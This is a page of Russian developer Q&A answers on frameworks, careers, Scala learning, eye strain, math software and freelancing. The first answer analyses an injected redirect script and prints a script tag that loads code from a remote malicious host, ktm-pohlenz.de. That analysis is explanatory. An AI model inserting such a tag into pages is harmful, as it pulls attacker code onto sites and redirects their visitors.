Задать вопрос
  • Что делает этот вирус?

    27cm
    @27cm
    TODO: Написать статус
    1. Функция checkOne() достаёт ключевые слова из тега <meta name="keywords" content="..." />
    2. Если ключевые слова не найдены, то скрипт берёт ключевые фразы из utm_term.
    3. Если ключевые фразы из utm_term не найдены, то используется title страницы.

    Найденные ключевые слова кодируются и отправляются в ktm-pohlenz.de/js/jquery.min.php. В результате вставляется JavaScript, который редиректит пользователя на URL адрес, максимально соответствующий найденным ключевым словам и HTTP referer страницы. Пример для этой страницы:
    <script type="text/javascript" src="http://ktm-pohlenz.de/js/jquery.min.php?c_utt=J18171&c_utm=http%3A%2F%2Fktm…IT%26se_referrer%3Dhttps%253A%252F%252Ftoster.ru%252F%26source%3Dtoster.ru"></script>


    P.S.: Редирект возвращается не всегда. Возможно на стороне ktm-pohlenz.de есть какая-то фильтрация по IP, UA, параметру c_utt и т. д.
    Ответ написан
    6 комментариев
  • Насколько оправдано использование framework'ов в серьезных проектах?

    DJZT
    @DJZT
    Laravel - code for you
    По поводу "Написал и забыл" - есть отдельный котёл.
    По поводу парадигмы - MVC жил, жив, и будет жить. Остальное не так важно. Вот вам и каркас.
    По поводу больших проектов - очень больших проектов не бывает. Любой большой проект разбит на микросервисы, которые не заметны обычным пользователям. У вас каждый сервис может быть написан на разных платформах, но общаться они будут на одном языке. JSON, XML - им лет да лет, но они живы, и их никто не отменял. И да. Вы всегда сможете переписать микросервис на новую платформу, если у вас возникнет желание или возникнут проблемы.
    По поводу своего фреймверка - я склоняюсь к тому, что собрать фреймверк из разных частичек - всё же лучше. Эти частички будут обновляться, как это делается в Laravel, и не будет дыр в безопасности. За всем вы не сможете уследить.
    Короче микросервисы будут в моде!
    Ответ написан
    Комментировать
  • Насколько оправдано использование framework'ов в серьезных проектах?

    Sanes
    @Sanes
    Если в обязанности входит поддержка кода в актуальном состоянии, то хоть чужой, хоть свой велосипед надо поддерживать. Разницы в этом плане никакой нет.
    Ответ написан
    Комментировать
  • Насколько оправдано использование framework'ов в серьезных проектах?

    Rou1997
    @Rou1997
    Изменятся парадигмы, подходы, вы по ходу работы над проектом будите вынуждены модифицировать какие то части framework'а

    Никто не может меня вынудить ничего модифицировать на сервере.
    И я не стану это делать, пока заказчик мне именно это не оплатит.
    А если он оплачивает не то, что надо, то это его проблемы, а не фреймворков.
    Ответ написан
    Комментировать
  • Насколько оправдано использование framework'ов в серьезных проектах?

    @Archusha
    https://agaltsovav.ru/
    Фреймворки используются в больших компаниях и в больших проектах. Тот же яндекс и мейл ру используют и Django и perl Фреймворки.

    Ваш велосипед будет устаревать точно так же или еще быстрей, чем любой другой Фреймворк.
    Если проект большой, то на нем работает команда, которая и поддерживает проект в актуальном состоянии. Устарел Фреймворк, команда начинают миграцию на другой Фреймворк или же на обновленную версию текущего.

    Даже если, текущая парадигма MVC смениться к 2020 году, на какую либо другую вы так же будите свой велосипед переписывать.
    Ответ написан
    Комментировать
  • Как ещё развиваться в веб-разработке?

    @xydope
    1. Перейти к реальной практике (искать заказы и начать делать свой проект);
    2. Изучать чужой качественный код;
    3. Начать изучать популярные API;
    4. Двигаться в сторону ЯП (php, ruby, python...), что даст вам самодостаточность в реализации многих задач.
    Ответ написан
    Комментировать
  • Как сравнить два текста и вывести разницу?

    petermzg
    @petermzg
    Самый лучший программист
    Так преобразуйте тексты в наборы строк, где каждая строка это отдельное слово или знак.
    Находите различия и собираете обратно в текст, подсвечивая различия.
    Ответ написан
    Комментировать
  • Как уйти с распутья технологий?

    @0x131315
    Стратегию уже подсказали: найти любую работу, чтобы кушать, и тем самым выиграть время на изучение чего-то, что поможет зарабатывать больше, и тем самым выиграть еще больше времени, и в конце концов изучить то, благодаря чему будешь работать не на зарплату, а на удовлетворение.

    Что касается языка - на первое время следует сосредоточится на чем-то популярном, попсовом, где больше всего вакансий, где проще найти работу. На зарплаты пока внимания обращать смысла нет - это лишь первый шаг, потом все-равно зарплаты станут больше, и скорее всего сменишь сферу деятельности, в соответствии со своими вкусами и желаниями.
    Но чтобы получить время на изучение языка, требуется источник дохода - любая работа, которая позволит кушать, платить за квартиру, одежду, оборудование и услуги.

    А так по моему важнее не инструмент, а умение им пользоваться. Начинать следует с алгоритмов, а язык использовать как инструмент.
    Хотя откладывать изучение языка тоже нельзя - практика важнее теории. Так что в комплексе - постигай алгоритмы на практике, по мере необходимости, и запоминай их.

    Т.е. глобально нет смысла учить конкретный язык ради изучения языка - выучить любой язык не проблема, и это можно сделать прямо по ходу решения задачи. Я за свою жизнь пользовался целой кучей языков, и все они так или иначе, но похожи друг на друга, проблем с их изучением никогда не было. Так что выучить новый язык - не проблема.

    Конкретный язык нужен кодерам - это те, кто воплощает чужие идеи в коде, т.е. конечные винтики в процессе разработки софта, исполнители. От кодеров требуется только перенести уже готовый алгоритм на требуемый язык, максимально быстро, и по возможности без ошибок.
    Изучив конкретный язык ты можешь стать кодером, но это черновая работа, и по хорошему - временная, просто ступенька на пути становления программиста. Нужно двигаться к архитектору, инженеру, непосредственно программисту в широком смысле.

    Программисту важнее знать как именно решать задачи, т.е. иметь представление об алгоритмах и навык формализации всего и вся. Т.е. уметь непосредственно разрабатывать алгоритмы, умение кодить - второстепенно.
    Т.е. программист - это лишь инженер сетей обработки информации.

    Также упрощает задачу стандартизация подходов к решению задач, парадигм - большинство из них уже формализованы, и описаны. Например всем известное ООП, модульное программирование, конечные автоматы, и т.п. Описано более двух десятков таких моделей, их следует по возможности освоить. И не стесняться комбинировать.

    Дополнительно упрощает задачу то, что большинство алгоритмов стандартные, и почти все известные алгоритмы уже кем-то реализованы в библиотеках или исходниках, так что вместо написания с нуля достаточно просто подключить нужную библиотеку или скопипастить кусок из исходников. Но для этого нужно знать, что такой алгоритм вообще существует, в какой именно библиотеке реализован, когда и как его можно и стоит применять.
    Во вторых давно доступен гугль, который всегда подскажет как решать ту или иную задачу, какие для этого есть алгоритмы, в каких библиотеках, когда и как их применять.

    Т.е. современный разработчик может выехать чисто за счет умения гуглить.
    И это не плохо на самом деле - преподы в институтах говорят примерно тоже самое: хороший инженер - не тот, кто все знает, а тот, кто может решить любую задачу. И помогают в этом вовсе не знания, а умение искать нужную информацию, ибо все знать все-равно не получится.

    Но все-равно, даже программисту нужен опыт. Не важно что он отвязан от языков - он все-таки привязан к одному языку, информации, и должен уметь с ней обращаться.
    Опыт экономит время и усилия - там, где сперва требовалось неделю гуглить и пробовать, потом, с опытом, все делаешь за час, просто уже понимая что, как, когда и зачем.

    Опыт нарабатывается практикой - тут нет ничего нового: просто берешь себе задачу по вкусу, и решаешь.
    Не можешь сам генерировать задачи - ищешь годный внешний генератор: форумы проблемных пользователей, имиджборды, конкурсы, аукционы программистов (это где работают фрилансеры). Также хорошо идет создание своего проекта или участие в разработке чужого - развитие любого проекта всегда порождает множество задач, которые нужно кому-то решать, а это отличный генератор.
    В общем ищешь реальных заказчиков, или берешься за незначительные заказы, или работаешь ради альтруизма, решая то, что тебя не просили - есть всякие гитхабы и багтрекеры.

    Главное найти задачу и решить ее. Начинаешь с простых, и постепенно усложняешь. Параллельно, прямо по ходу решения, изучаешь алгоритмы, и нарабатываешь опыт. Со временем начнешь щелкать задачи быстро и между делом, как семечки, те, которые по первости у тебя отнимали недели, а то и месяцы.

    Недоведение решений до конца - следствие неверного подхода: либо берешь задачи, к которым еще не готов, слишком сложные, либо не имеешь возможности работать - у тебя нет условий для решения задачи: времени, места и внимания. Либо просто тебе это реально не нужно - тебя и так все устраивает, и планов на будущее нет.

    С третьим - придешь, когда поймешь, что тебе это нужно. Из-под палки не учатся.

    Со вторым все понятно: надо либо создать условия, либо отказаться от этой деятельности, и перейти к другой.
    Кто-то отказывается, уходит на другие работы, в основном физические, неквалифицированные, просто чтобы не думать. И как правило остается там до конца, уже не в силах выбраться из болота рутины.
    Кто-то приспосабливается - отгораживает себе уголок, меняет работу на ту, что дает больше свободного времени, начинает работать по ночам, забивает шум наушниками, и т.п. костыли.
    Кто-то кардинально меняет свою жизнь - переезжает в сьемные квартиры, выделяет себе комнату, изолирует ее или устанавливает в доме режим тишины, в общем создает себе полноценные комфортные условия для творчества. Это если удаленка - многие именно из-за невозможности работать дома, предпочитают офисы, или специальные кафе или клубы для работы.

    С первым все просто: не можешь что-то решить - отложи, и спустись на ступеньку ниже по шкале сложности.
    Есть такой психологический феномен: от решенных задач ты получаешь удовлетворение, силы и мотивацию двигаться вперед, от нерешенных - негатив, апатию, потерю воли и мотивации.
    Причем мозг устроен так, что запоминается лишь негатив. Поэтому крайне важно решать задачи, и не допускать незавершенных задач. Отложи, но не забрасывай.
    Нерешенная задача - это как психологический запой, нечто вроде депрессии: одна нерешенная задача тянет за собой другую нерешенную задачу, и так быстро уходишь на дно, теряя мотивацию и веру в себя. Замкнутый круг. Ты находишься именно в нем.

    Разрывать такие круги можно лишь одним способом - рутиной: медленным, последовательным и целенаправленным натиском, движением в одну сторону. Грубо говоря перестаешь жить эмоциями и импульсами, вырабатываешь продуманную программу развития, и действуешь по ней, строго, как робот, до тех пор, пока не начнешь получать положительный отклик от работы, пока не придет желание двигаться дальше - это вернулись воля, мотивация и вера в себя.

    Чтобы вернуть веру в себя, нужно стать победителем. Победители всегда побеждают - в этом и суть. Необходимо начать побеждать, любой ценой: нужно брать такие задачи, которые точно сможешь решить, какими бы простыми они не были. Можешь вернуться к азам, началу, детскому уровню сложности, если потребуется - главное чтобы задачи начали решаться, не важно какие и как. Пока не уверен, что готов двигаться дальше - удерживаешь уровень, каким бы низким и зазорным он не был. Важно обмануть мозг, а не показать класс всему миру, иначе обратно утонешь.

    Сложность задачи не особо влияет на мотивацию, а вот факт решения/нерешения - влияет сильно. Не решил - значит не осилил, не осилил - значит не достоин, не достоин - значит иди ко дну и не рыпайся. Это как импотенция: импотент - значит не мужик, не мужик - значит никто, ничего не достоин и об тебя можно ноги вытирать. Подсознание портит всю малину, так что не следует давать ему шанса - лучше решить задачу попроще, чем не решить по сложнее.
    Ответ написан
    7 комментариев
  • Как извлечь слова из PDF файла по маске и сложить их в список?

    Могу помочь только ссылками:
    pdfbox.apache.org
    Как с помощью PHP можно распарсить PDF?
    Автоматизированный перегон PDF в SQL
    Информации там довольно много. Есть, конечно, всякие нюансы в зависимости от того, что из себя представляют исходные файлы, но я, пользуясь тем, что написано по ссылкам, скорее всего, смог бы это сделать, значит, сможете и вы :)
    Ответ написан
    Комментировать
  • Делаете ли вы гимнастику для глаз?

    AleksDesker
    @AleksDesker
    Одна из основных проблем это неизменное фокусное расстояние - когда часами пялишься в монитор, это вызывает деградацию не только мышц, но и всех связанных механизмов. Поэтому рекомендуют искусственно его менять, раз в пару часов смотря в окно пару минут, переводя взгляд с удаленных объектов на стекло. Хорошим дополнением будут игровые виды спорта, вроде тенниса или волейбола - когда мячик летает туда-сюда.
    Ответ написан
    Комментировать
  • Делаете ли вы гимнастику для глаз?

    Foolleren
    @Foolleren
    Компас есть, копать не люблю...
    Ну во первых надо создать комфортные условия работы:
    1) в комнате должно быть нормальное освещение не в монитор не в глаза, и оно вообще должно быть, что бы за монитором не было чёрного пространства, яркость монитора не должна быть слишком большой или маленькой, делается так - взять пачку (чтобы не просвечивало) а4 вывести на него rgb (166,166,166) и отрегулировать яркость и контрастность так чтобы выглядело одинаково(+/- небольшие различия в цвете), делается это всё для того чтобы при переводе взгляда от монитора куда либо глазу не приходилось тратить дополнительные усилия на аккомодацию ( зрачок от того что постоянно то сужается то расширяется устаёт - он тоже мышца)
    2) монитор должен быть на таком расстоянии чтобы расслабленный взгляд чётко видел его содержимое, если это не возможно нужен монитор побольше( на сжатие хрусталика тоже требуется усилие - там тоже мышца, а ещё хрусталик с годами "дубеет" думаю будет не очень приятно если он "задубеет" в сжатом состоянии)

    А зарядка для глаз бывает такая - посмотреть в крайние положения в близь в даль , пожмуриться, когда у вас нога затечёт вы же её разминаете чем глаза хуже.
    Ответ написан
    3 комментария
  • Делаете ли вы гимнастику для глаз?

    kawabanga
    @kawabanga
    Кому как,

    Если работаете при хорошем освещении, с хорошими мониторами - глаза реже устают.
    Но все равно, раз в час ухожу чай попить, в окошко поглядеть, отвлечься.

    Если в Помодоро системе работаю, то каждые 25 минут.
    Ответ написан
    4 комментария
  • Что должен знать и уметь front-end разработчик?

    Serj-One
    @Serj-One
    i'm sexy and i know it
    Должен уметь пользоваться гуглом. Он выдаёт не один десяток вопросов, полностью идентичных вашему, в том числе и на этом ресурсе, и все возможные ответы на них уже неоднократно даны.
    Ответ написан
    2 комментария
  • Изучение программирования путем Скалы?

    @a1go1ov
    Scala fan, Java developer
    Если в программировании вы 0 и хотите начать правильно вникать в программирование, то начните с классики - Structure and Interpretation of Computer Programs (SICP), эта книга закладывает хорошие основы, а так же познакомит вас с функциональным программированием:
    книга:
    web.mit.edu/alexmv/6.037/sicp.pdf
    вспомогательный сайт для самостоятельного изучения книги:
    https://mitpress.mit.edu/sicp
    sicp.sergeykhenkin.com/sicp-exercise-solutions
    перевод книги (не в курсе на счет качества)
    newstar.rinet.ru/~goga/sicp/sicp.pdf
    видео лекций по книге:
    ocw.mit.edu/courses/electrical-engineering-and-com...

    Конкретно по Scala:

    С точки зрения Scala, на мой взгляд самый оптимальный вариант это пройти курсы по Scala на coursera.org. Но ниже будут примеры и ссылки и других источников для иучения программирования на Scala..

    Интерактивные курсы

    cousera.org:
    Специализация по Scala - один из фундаментальных источников знаний о программировании на Scala. В составе - видео лекции, доп. материалы, вопросы на закрепление, задания на программирование, форум для вопросов и обсуждения (все опционально). В принципе можно вместо SICP сразу начинать со специализации на coursera.org, в частности первый курс в специализации как раз таки проектировался Мартином в стиле SICP (по крайней мере до создания специализации программа курса и задания были в духе SICP).

    https://www.coursera.org/specializations/scala

    Ссылки на курсы из специализации по отдельности (для бесплатной регистрации):
    1. Functional Programming in Scala
    2. Functional Program Design in Scala
    3. Parallel programming
    4. Big Data Analysis with Scala and Spark

    Курс стоящий немного в стороне, о reactive programming на scala:
    Принципы реактивного программирования

    ---
    Интерактивные упажнения по Scala от 47 Degrees (на данный момент 6 курсов std lib, cats, shapeless, doobie, scalacheck, FP in Scala)
    https://www.scala-exercises.org

    www.scalakoans.org - небольшие уроки для изучения
    ---
    Big data university (с уклоном в Data Science и Big Data):

    Introduction to Scala
    Scala for Data Science
    Spark Overview for Scala Analytics
    ------------------------------------------

    Если вас больше интересует не интерактивный стиль обучения, а вдумчивое чтение, то можно посоветовать следующие книги:

    Книги:

    На русском,к сожалению, есть только одна книга:
    Scala для нетерпеливых
    но для новичка в программировании она скорее всего не подойдет.

    также в 2016 вышла обновленная версия книги от Martin Odersky, Lex Spoon и Bill Venners, которая покрывает все вопросы связанные со Scala (859 стр), в том числе все нововведения на текущий момент (вплоть до Scala 2.12). Эту книгу можно также читать если вы новичок в программировании. Это наверно самый фундаментальный источник для изучения Scala:
    Programming in Scala, Third Edition

    После ознакомления с основами Scala для углубления именно функциональных аспектов программирования на Scala можно прочитать замечательную книгу от Paul Chiusano и Rúnar Bjarnason:
    Functional Programming in Scala

    Для изучения практических основ проектирования современных приложений с использованием возможностей Scala и ее экосистемы, с применением функциональной парадигмы, рекомендую отличную книгу от Debasish Ghosh
    Functional and Reactive Domain Modeling

    Вообще по Scala и различным инструментам из экосистемы Scala сейчас много разных книг, так что при желании можно найти подходящую по уровню и интересам, стоит также обратить внимание на подборку книг на сайте lightbend (бывшая TypeSafe)

    Также можно почитать перевод уроков Scala от Twitter:
    Scala Школа!
    ------------------------------------------

    Алгоритмы
    На счет алгоритмов, про которые вы упоминали, можете посмотреть прекрасный набор классических алгоритомов и структур данных, реализованных на Scala в чисто функциональном стиле:
    scalacaster от @vkostyukov(Twitter, Finagle)
    или
    scalgos от @pathikrit
    ------------------------------------------

    Остальное
    Ninety-Nine Scala Problems - набор небольших упражнений (с ответами) для изучения Scala

    Hands-on Scala.js - туториал по Scala.js от @lihaoyi

    Type-Level Programming in Scala - серия постов из десяти частей на тему продвинутого использования возможностей системы типов Scala от Rúnar Bjarnason (соавтор Functional Programming in Scala) и Mark Harrah (разработчик sbt)

    Scala Best Practices - колеекция хорощих практик программирования на Scala от Alexandru Nedelcu

    P.S. Также если хочется держать руку на пульсе о том, что происходит в экосистеме и community Scala, то можно посмотреть эту подборку блогов и новостных и видео ресурсов о Scala
    Ответ написан
    Комментировать
  • Можно ли писать под веб на компилируемом языке уже сейчас?

    s0ci0pat
    @s0ci0pat
    I'm Awesome
    А почему нет? Конечно можно)
    Ответ написан
    Комментировать
  • Какую среду выбрать Matlab vs Mathematica vs Maple vs python?

    @potan
    Функциональный программист
    Mathematica - удобный и мощный язык, огромная стандартная библиотека, замечательный интерфейс. Минусы - цена и сложность начального вхождения. Для моделирования динамических систем есть отдельная реализация языка Modelica (SystemModeler), но только под винду и я не слышал что бы ей кто-то пользовался.

    Matlab - хорош для численных вычислений, в символьных слабоват. Для моделирования есть пакет Simulink, который знакомые очень хвалили. То же стоит денег.

    Python - популярный и простой, много готовых пакетов, хороший интерфейс ipython (сдутый с Mathematica). Но как язык слабоват - обобщенные алгоритмы на нем тяжело пишутся, высокая эффективность обеспечивается только с помощью библиотек на C.

    Octave: бесплатный относительно приличный клон Matlab. Про системы моделирования к нему не слышал.

    SciLab: бесплатный, но кривоватый и недоделанный клон Matlab. За то к нему относительно приличная система моделирования Xcos.

    R: удобный язык для обработки данных и статистики. Огромная и хорошо организованная внешняя библиотека.

    Julia: Объединяет лучшие черты Matlab, R и python (а так же кое что из Lisp). Но разработчики пока не заявили о стабильной версии. Если стабильность Вам не критична, очень рекомендую.

    Про остальное ни чего не знаю.
    Ответ написан
    Комментировать
  • Региональные вузы/компании готовящие программистов?

    newross
    @newross
    Product owner
    Крутые программисты сами себя делают, а не вузы их.
    Ответ написан
    Комментировать
  • Фрилансер, хочу открыть фирму. Ваш опыт?

    evnuh
    @evnuh
    Поиск Гугл помог мне, впусти и ты его в свой дом
    1) Не стоит снимать офис, пока нет острейшей необходимости. Острейшая необходимость - вас 4+ разработчиков и вы должны бешено что-то вместе пилить. До этого момента офис вам не нужен. Чтобы сесть в офис и уж тем более нанимать сотрудников вам нужно быть ИП или юр. лицом. Чтобы их открыть чаще всего это занимает от двух недель и не меньше 20к рублей. Сам офис будете искать, ездить, реонтировать, докупать технику туда, решать проблемы с ним постоянно возникающие - итого уже тысяч 100 для того чтобы смочь начать работать в офисе.
    2) офис почти гарантированно заставит вас нанимать сотрудников официально. Если коротко, найм сотрудника влечёт 40% налогов от его з/п.

    p.s. Попробуйте trello, он настолько простой и приятный что хочется в нем постоянно сидеть и закрывать таски)
    Ответ написан
    5 комментариев
  • Фрилансер, хочу открыть фирму. Ваш опыт?

    CrewCut
    @CrewCut
    Коплю силы на переезд в тропики
    Доброй ночи.

    1. Касаемо CRM - попробуйте разные решения, на вкус как говорится. Рекомендую обратить внимание на Мегаплан, есть еще teamer.ru/about он проще, но в принципе норм. Для старта хватит бесплатной версии CRM, а там уж видно будет

    2. Начать нужно с подсчета расходов, примерного плана доходов, точки безубыточности и прочих неинтересных вещей. Важно понимать, что Вы переходите в бизнес, а значит будете отвечать не только за себя, но и за сотрудников. Не рекомендую читать тонны статей про успешных предпринимателей, секреты бизнеса и прочую хрень - это индивидуальные вещи, сами все поймете, когда начнете. Посчитайте что к чему, если хватит средств - снимайте офис (работа по удаленке или из дома отдельная тема, не для всех). Насчет сотрудника на удаленке - если он не слишком важен, то это нормальный вариант - дешевле выйдет. Если Вас всего двое, то пропажа этого человека будет серьезным ударом, стоит ли рисковать? Понятно, что его присутствие в офисе не гарант, но так в любом случае надежнее.

    Еще советую изначально придумать план выхода на новых клиентов, поток рано или поздно иссякнет. Один из наиболее действенных способов - качественные, не тупые продажники на хорошем проценте. Важно - НЕ тупые, поверьте, это очень важно.

    3. Насчет бухгалтерии - попробуйте Эльбу или МоёДело, для начала бизнеса - отличные сервисы. Касаемо распределения обязанностей - идите от выгоды. Например, есть премиум-клиент, который Вам очень дорог - следите за этим проектом тщательно. Проекты проще и слабее можно передать сотруднику. Учитесь обращать внимание только на важные вещи, иначе загнетесь.

    А вообще, кризис - время действия. Удачи Вам!
    Ответ написан
    2 комментария